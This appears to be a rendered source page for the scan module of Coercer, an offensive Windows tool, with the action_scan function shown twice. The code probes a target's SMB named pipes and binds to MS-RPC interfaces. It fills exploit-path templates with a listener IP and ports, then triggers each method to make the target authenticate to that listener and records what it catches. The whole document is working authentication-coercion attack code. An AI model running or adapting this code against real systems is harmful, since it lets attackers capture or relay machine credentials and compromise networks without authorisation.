coercer.core.modes.scan

  1#!/usr/bin/env python3
  2# -*- coding: utf-8 -*-
  3# File name          : scan.py
  4# Author             : Podalirius (@podalirius_)
  5# Date created       : 18 Sep 2022
  6
  7
  8import time
  9from coercer.core.Filter import Filter
 10from coercer.core.utils import generate_exploit_path_from_template
 11from coercer.network.DCERPCSession import DCERPCSession
 12from coercer.structures.TestResult import TestResult
 13from coercer.network.authentications import trigger_and_catch_authentication
 14from coercer.network.smb import can_connect_to_pipe, can_bind_to_interface
 15from coercer.network.utils import get_ip_addr_to_listen_on, get_next_http_listener_port
 16
 17
 18def action_scan(target, available_methods, options, credentials, reporter):
 19    http_listen_port = 0
 20
 21    filter = Filter(
 22        filter_method_name=options.filter_method_name,
 23        filter_protocol_name=options.filter_protocol_name,
 24        filter_pipe_name=options.filter_pipe_name
 25    )
 26
 27    # Preparing tasks ==============================================================================================================
 28
 29    tasks = {}
 30    for method_type in available_methods.keys():
 31        for category in sorted(available_methods[method_type].keys()):
 32            for method in sorted(available_methods[method_type][category].keys()):
 33                instance = available_methods[method_type][category][method]["class"]
 34
 35                if filter.method_matches_filter(instance):
 36                    for access_type, access_methods in instance.access.items():
 37                        if access_type not in tasks.keys():
 38                            tasks[access_type] = {}
 39
 40                        # Access through SMB named pipe
 41                        if access_type == "ncan_np":
 42                            for access_method in access_methods:
 43                                namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"]
 44                                if filter.pipe_matches_filter(namedpipe):
 45                                    if namedpipe not in tasks[access_type].keys():
 46                                        tasks[access_type][namedpipe] = {}
 47
 48                                    if uuid not in tasks[access_type][namedpipe].keys():
 49                                        tasks[access_type][namedpipe][uuid] = {}
 50
 51                                    if version not in tasks[access_type][namedpipe][uuid].keys():
 52                                        tasks[access_type][namedpipe][uuid][version] = []
 53
 54                                    if instance not in tasks[access_type][namedpipe][uuid][version]:
 55                                        tasks[access_type][namedpipe][uuid][version].append(instance)
 56
 57    # Executing tasks =======================================================================================================================
 58
 59    listening_ip = get_ip_addr_to_listen_on(target, options)
 60    if options.verbose:
 61        print("[+] Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port))
 62
 63    # Processing ncan_np tasks
 64    ncan_np_tasks = tasks["ncan_np"]
 65    for namedpipe in sorted(ncan_np_tasks.keys()):
 66        if can_connect_to_pipe(target, namedpipe, credentials):
 67            print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe)
 68            for uuid in sorted(ncan_np_tasks[namedpipe].keys()):
 69                for version in sorted(ncan_np_tasks[namedpipe][uuid].keys()):
 70                    if can_bind_to_interface(target, namedpipe, credentials, uuid, version):
 71                        print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
 72                        for msprotocol_class in sorted(ncan_np_tasks[namedpipe][uuid][version], key=lambda x:x.function["name"]):
 73
 74                            exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
 75
 76                            stop_exploiting_this_function = False
 77                            for listener_type, exploitpath in exploit_paths:
 78                                if stop_exploiting_this_function == True:
 79                                    # Got a nca_s_unk_if response, this function does not listen on the given interface
 80                                    continue
 81                                if listener_type == "http":
 82                                    http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options)
 83
 84                                exploitpath = generate_exploit_path_from_template(
 85                                    template=exploitpath,
 86                                    listener=listening_ip,
 87                                    http_listen_port=options.http_port,
 88                                    smb_listen_port=options.smb_port
 89                                )
 90
 91                                msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
 92                                dcerpc = DCERPCSession(credentials=credentials, verbose=True)
 93                                dcerpc.connect_ncacn_np(target=target, pipe=namedpipe)
 94
 95                                if dcerpc.session is not None:
 96                                    dcerpc.bind(interface_uuid=uuid, interface_version=version)
 97                                    if dcerpc.session is not None:
 98                                        reporter.print_testing(msprotocol_rpc_instance)
 99
100                                        result = trigger_and_catch_authentication(
101                                            options=options,
102                                            dcerpc_session=dcerpc.session,
103                                            target=target,
104                                            method_trigger_function=msprotocol_rpc_instance.trigger,
105                                            listenertype=listener_type,
106                                            listen_ip=listening_ip,
107                                            http_port=http_listen_port
108                                        )
109
110                                        reporter.report_test_result(
111                                            uuid=uuid, version=version, namedpipe=namedpipe,
112                                            msprotocol_rpc_instance=msprotocol_rpc_instance,
113                                            result=result,
114                                            exploitpath=exploitpath
115                                        )
116
117                                        if result == TestResult.NCA_S_UNK_IF:
118                                            stop_exploiting_this_function = True
119
120                                if options.delay is not None:
121                                    # Sleep between attempts
122                                    time.sleep(options.delay)
123                    else:
124                        if options.verbose:
125                            print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
126        else:
127            if options.verbose:
128                print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)
def action_scan(target, available_methods, options, credentials, reporter):
 19def action_scan(target, available_methods, options, credentials, reporter):
 20    http_listen_port = 0
 21
 22    filter = Filter(
 23        filter_method_name=options.filter_method_name,
 24        filter_protocol_name=options.filter_protocol_name,
 25        filter_pipe_name=options.filter_pipe_name
 26    )
 27
 28    # Preparing tasks ==============================================================================================================
 29
 30    tasks = {}
 31    for method_type in available_methods.keys():
 32        for category in sorted(available_methods[method_type].keys()):
 33            for method in sorted(available_methods[method_type][category].keys()):
 34                instance = available_methods[method_type][category][method]["class"]
 35
 36                if filter.method_matches_filter(instance):
 37                    for access_type, access_methods in instance.access.items():
 38                        if access_type not in tasks.keys():
 39                            tasks[access_type] = {}
 40
 41                        # Access through SMB named pipe
 42                        if access_type == "ncan_np":
 43                            for access_method in access_methods:
 44                                namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"]
 45                                if filter.pipe_matches_filter(namedpipe):
 46                                    if namedpipe not in tasks[access_type].keys():
 47                                        tasks[access_type][namedpipe] = {}
 48
 49                                    if uuid not in tasks[access_type][namedpipe].keys():
 50                                        tasks[access_type][namedpipe][uuid] = {}
 51
 52                                    if version not in tasks[access_type][namedpipe][uuid].keys():
 53                                        tasks[access_type][namedpipe][uuid][version] = []
 54
 55                                    if instance not in tasks[access_type][namedpipe][uuid][version]:
 56                                        tasks[access_type][namedpipe][uuid][version].append(instance)
 57
 58    # Executing tasks =======================================================================================================================
 59
 60    listening_ip = get_ip_addr_to_listen_on(target, options)
 61    if options.verbose:
 62        print("[+] Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port))
 63
 64    # Processing ncan_np tasks
 65    ncan_np_tasks = tasks["ncan_np"]
 66    for namedpipe in sorted(ncan_np_tasks.keys()):
 67        if can_connect_to_pipe(target, namedpipe, credentials):
 68            print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe)
 69            for uuid in sorted(ncan_np_tasks[namedpipe].keys()):
 70                for version in sorted(ncan_np_tasks[namedpipe][uuid].keys()):
 71                    if can_bind_to_interface(target, namedpipe, credentials, uuid, version):
 72                        print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
 73                        for msprotocol_class in sorted(ncan_np_tasks[namedpipe][uuid][version], key=lambda x:x.function["name"]):
 74
 75                            exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
 76
 77                            stop_exploiting_this_function = False
 78                            for listener_type, exploitpath in exploit_paths:
 79                                if stop_exploiting_this_function == True:
 80                                    # Got a nca_s_unk_if response, this function does not listen on the given interface
 81                                    continue
 82                                if listener_type == "http":
 83                                    http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options)
 84
 85                                exploitpath = generate_exploit_path_from_template(
 86                                    template=exploitpath,
 87                                    listener=listening_ip,
 88                                    http_listen_port=options.http_port,
 89                                    smb_listen_port=options.smb_port
 90                                )
 91
 92                                msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
 93                                dcerpc = DCERPCSession(credentials=credentials, verbose=True)
 94                                dcerpc.connect_ncacn_np(target=target, pipe=namedpipe)
 95
 96                                if dcerpc.session is not None:
 97                                    dcerpc.bind(interface_uuid=uuid, interface_version=version)
 98                                    if dcerpc.session is not None:
 99                                        reporter.print_testing(msprotocol_rpc_instance)
100
101                                        result = trigger_and_catch_authentication(
102                                            options=options,
103                                            dcerpc_session=dcerpc.session,
104                                            target=target,
105                                            method_trigger_function=msprotocol_rpc_instance.trigger,
106                                            listenertype=listener_type,
107                                            listen_ip=listening_ip,
108                                            http_port=http_listen_port
109                                        )
110
111                                        reporter.report_test_result(
112                                            uuid=uuid, version=version, namedpipe=namedpipe,
113                                            msprotocol_rpc_instance=msprotocol_rpc_instance,
114                                            result=result,
115                                            exploitpath=exploitpath
116                                        )
117
118                                        if result == TestResult.NCA_S_UNK_IF:
119                                            stop_exploiting_this_function = True
120
121                                if options.delay is not None:
122                                    # Sleep between attempts
123                                    time.sleep(options.delay)
124                    else:
125                        if options.verbose:
126                            print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
127        else:
128            if options.verbose:
129                print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)